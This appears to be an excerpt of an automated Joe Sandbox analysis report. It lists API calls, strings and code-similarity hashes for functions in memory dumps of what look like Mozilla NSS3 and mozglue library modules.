PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBAB40C

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: cff6256b2e30ce763fc248a9b5e68f45e8be3245187a15504ffd7e7c89588c7b
Instruction ID: 29bd1481d2b300dc177772093e93dfa2d7937b3938fbdfeaddf0ee441a523262
Opcode Fuzzy Hash: cff6256b2e30ce763fc248a9b5e68f45e8be3245187a15504ffd7e7c89588c7b
Instruction Fuzzy Hash: FB22B171908380AFE710CF55CC40B9A77E5EF44308F24857CE8A95B792E772E85ACB96

Function 6CA8C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA8C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA8C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA8C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8E472

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: de0b3f80230422bf4efed64ec00beadcbf6999024770e62b955452aeb654f62a
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7E339E71E0121ACFCB04CFACC8806ADBBF2FF49314F29426AD955AB755D731A985CB90

Function 6CB2ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB2ED38

Part of subcall function 6CAC4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CB2EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB2EFE4

Part of subcall function 6CBEDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CAC5001,?,00000003,00000000), ref: 6CBEDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB2F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB2F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB2F1D1
sqlite3_free.NSS3(?), ref: 6CB2F368

Strings

simple, xrefs: 6CB2ED79
snippet, xrefs: 6CB2EF05, 6CB2EF37, 6CB2EF7C
offsets, xrefs: 6CB2EFAF, 6CB2EFDF, 6CB2F01F
fts4aux, xrefs: 6CB2ECF9
unicode61, xrefs: 6CB2EDB5
fts3tokenize, xrefs: 6CB2F30F
optimize, xrefs: 6CB2F199, 6CB2F1CC, 6CB2F211
porter, xrefs: 6CB2ED97
matchinfo, xrefs: 6CB2F04F, 6CB2F082, 6CB2F0C2, 6CB2F0F2, 6CB2F124, 6CB2F169
fts3_tokenizer, xrefs: 6CB2EE1A, 6CB2EEA8
fts3, xrefs: 6CB2F247
fts4, xrefs: 6CB2F2AD

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 99fccc2238a1f338c18799bbd72fc24bf28d52ff835463c7ab566e99eb5343b8
Instruction ID: e22933c20a9945a5f0cd68baa09d6d4919812066170ce49cff7da047244c9b7b
Opcode Fuzzy Hash: 99fccc2238a1f338c18799bbd72fc24bf28d52ff835463c7ab566e99eb5343b8
Instruction Fuzzy Hash: 3F02ADB5B042919BE7049F72A88573F37B2BBC5708F14453CE85E87B01EB79E8468792

Function 6CA3FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA3FF81
LeaveCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA4022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA40240
EnterCriticalSection.KERNEL32(6CAAE768), ref: 6CA4025B
LeaveCriticalSection.KERNEL32(6CAAE768), ref: 6CA4027B

Strings

<jemalloc>, xrefs: 6CA40D62, 6CA40D76, 6CA40DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA3FE99, 6CA3FEB7, 6CA3FED3, 6CA40DB8, 6CA40DD3, 6CA419B4
: (malloc) Error in VirtualFree(), xrefs: 6CA40D67, 6CA40D7B, 6CA40DAC

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 40fdda326cf95688da49e79f31309dc41664dd044a58f57c3299deabb55a22de
Instruction ID: 2f4b1d18506c06884dbb4cf55343999b3e4e7ead48e7fcc3b1a1410d4f0b8e6f
Opcode Fuzzy Hash: 40fdda326cf95688da49e79f31309dc41664dd044a58f57c3299deabb55a22de
Instruction Fuzzy Hash: 4AC2C071A057418FD714CF28C980716BBE1BF89328F28C66DE9A98B7D5D771E881CB81

Function 6CA8E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA8E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA8F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA90E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA90E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA90EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA90ED4

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 59f82d5492cd1a770807b1b8d33b6451b3119990c4bb6bbafedec171ec942a5b
Instruction ID: 19497a0facbffe7a68c7250fbf8170a1e3f8cb631d0cc5cff31c2b9a60c1b0dd
Opcode Fuzzy Hash: 59f82d5492cd1a770807b1b8d33b6451b3119990c4bb6bbafedec171ec942a5b
Instruction Fuzzy Hash: C2637E71E0125ACFCB04CFA8C89069DFBF2FF89310F298269D955AB755D730A985CB90

Function 6CA4ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA4EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA4EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA51695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA516B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA51770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA51A3E

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 29567e45020c6277fbed160bc96058ddb04adb31c012b91e6ccc8db13b16e14f
Instruction ID: 1544832e69e02d081c99d07d8ef57c240acdcc722a5a37d59598230c8bd733d2
Opcode Fuzzy Hash: 29567e45020c6277fbed160bc96058ddb04adb31c012b91e6ccc8db13b16e14f
Instruction Fuzzy Hash: B1B33C71E00219CFCB14CFA9C890AADB7B2FF89304F5982A9D549AB745D730AD95CF90

Function 6CA3FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA3FF81
LeaveCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA4022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA40240
EnterCriticalSection.KERNEL32(6CAAE768), ref: 6CA4025B
LeaveCriticalSection.KERNEL32(6CAAE768), ref: 6CA4027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA3FE99, 6CA3FEB7, 6CA3FED3, 6CA40DB8, 6CA40DD3, 6CA419B4, 6CA41A10
MOZ_CRASH(), xrefs: 6CA40CA7

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 359837bad26a196d7c8c05d84c3ab179a0fe9630b36124560a808a40b4f80c11
Instruction ID: 8663324bbc2b389d68752d9313d043b4479d4c993b2b5472462aa12d55e6f7a6
Opcode Fuzzy Hash: 359837bad26a196d7c8c05d84c3ab179a0fe9630b36124560a808a40b4f80c11
Instruction Fuzzy Hash: BAB2DF716057418FD718CF28C590726BBE1BF89328F28C66CE9AA8F795D770E891CB41

Function 6CBAEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBADAE2,?), ref: 6CBAC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBAF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBAF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CBAF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBAF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CC7218C), ref: 6CBAF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CBAF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBAF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBAF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CBAF210

Part of subcall function 6CB552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CBAF1E9,?,00000000,?,?), ref: 6CB552F5
Part of subcall function 6CB552D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB5530F
Part of subcall function 6CB552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB55326
Part of subcall function 6CB552D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CBAF1E9,?,00000000,?,?), ref: 6CB55340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBAF227

Part of subcall function 6CB9FAB0: free.MOZGLUE(?,-00000001,?,?,6CB3F673,00000000,00000000), ref: 6CB9FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBAF23E

Part of subcall function 6CB9BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB4E708,00000000,00000000,00000004,00000000), ref: 6CB9BE6A
Part of subcall function 6CB9BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB504DC,?), ref: 6CB9BE7E
Part of subcall function 6CB9BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CB9BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBAF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBAF3A8

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBAF3B3

Part of subcall function 6CB52D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB52D3C
Part of subcall function 6CB52D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB52D5F

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: c91235ed3963142d3750bb3c43b82ea110f67fb2e4e5b241cef602b455cd1d82
Instruction ID: aacaac3473387b88bc125a89f6f50a2502520b63793ba7958d995d660a50a444
Opcode Fuzzy Hash: c91235ed3963142d3750bb3c43b82ea110f67fb2e4e5b241cef602b455cd1d82
Instruction Fuzzy Hash: EED18EB6E052459FEB10CFEAD880ADEB7F5EF48308F148029E955A7711EB31E806CB51

Function 6CACECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CACED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CACEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CACEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CACEF98

Strings

database corruption, xrefs: 6CACF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CACF483
%s at line %d of [%.10s], xrefs: 6CACF492

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: a5060c6a9e3d7d58ad7820e7348feb891bb2b2ad3e5511f9efd9cd0fefbb66d5
Instruction ID: 8631159a863ddc9e3d7b88144997fb9b80e4ebff3ee6ebd0be3875b39086bbd4
Opcode Fuzzy Hash: a5060c6a9e3d7d58ad7820e7348feb891bb2b2ad3e5511f9efd9cd0fefbb66d5
Instruction Fuzzy Hash: 86620074B042458FEB04CF69C880B9ABBB1BF45318F1C419DD8566BB92D735E8C6CB92

Function 6CA4D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D4F2
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D50B

Part of subcall function 6CA2CFE0: EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA2CFF6
Part of subcall function 6CA2CFE0: LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA2D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D52E
EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4D6A6
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D712
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA4D7EA

Strings

<jemalloc>, xrefs: 6CA4D827
: (malloc) Error initializing arena, xrefs: 6CA4D82C

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 70d02bfc14d9c00343fe594a826cff4e9ca635dd1c1d65eae6c8712cb50e4e8c
Instruction ID: d8467ad3fe7c5978d2feffb4ee866c325063e1ba584de3f486122dbe9d9bd10b
Opcode Fuzzy Hash: 70d02bfc14d9c00343fe594a826cff4e9ca635dd1c1d65eae6c8712cb50e4e8c
Instruction Fuzzy Hash: 5091C571E047028FD718CF68D59476AB7E1EB89318F18C92EE55AC7A81D730E885CB82

Function 6CA45E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2
memset.VCRUNTIME140(6CA87765,000000E5,AAC09015), ref: 6CA461F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA47652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA472F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA47BCD, 6CA47C1F, 6CA47C34, 6CA480FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA4730D
MOZ_CRASH(), xrefs: 6CA47BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA472E3

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 3db81d8234ad040e27414d8a4cb02cdbd99fdcbf79fb880df0acf801b1f8551a
Instruction ID: b07269762ac51e8f5d6eb618f5dfd84b4280a00c98f97877b6b49c1fc6349a6f
Opcode Fuzzy Hash: 3db81d8234ad040e27414d8a4cb02cdbd99fdcbf79fb880df0acf801b1f8551a
Instruction Fuzzy Hash: 0D337B716067418FD308CF28C590615BBE2BF85328F2DC6ADE969CB7A5D771E881CB81

Function 6CA23480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA23492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA234A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA234EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA2350E
__Init_thread_footer.LIBCMT ref: 6CA23522
__aulldiv.LIBCMT ref: 6CA23552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA2357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA23592

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CA23508
kernel32.dll, xrefs: 6CA234EA

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 1864f9d51ecca51ccd86b04c3dcd833ce316621bc6ee5eb4233cf57c2dc91772
Instruction ID: df3136c00ed4e4c59de1e439895c9838dc35cd606f758f5a99f467700fc63b74
Opcode Fuzzy Hash: 1864f9d51ecca51ccd86b04c3dcd833ce316621bc6ee5eb4233cf57c2dc91772
Instruction Fuzzy Hash: A531D270B0134B9FDF18CFF5E948AAE77B9FB46304F088119E54593660EB349986CB60

Function 6CB70EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CB70F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB70FB3
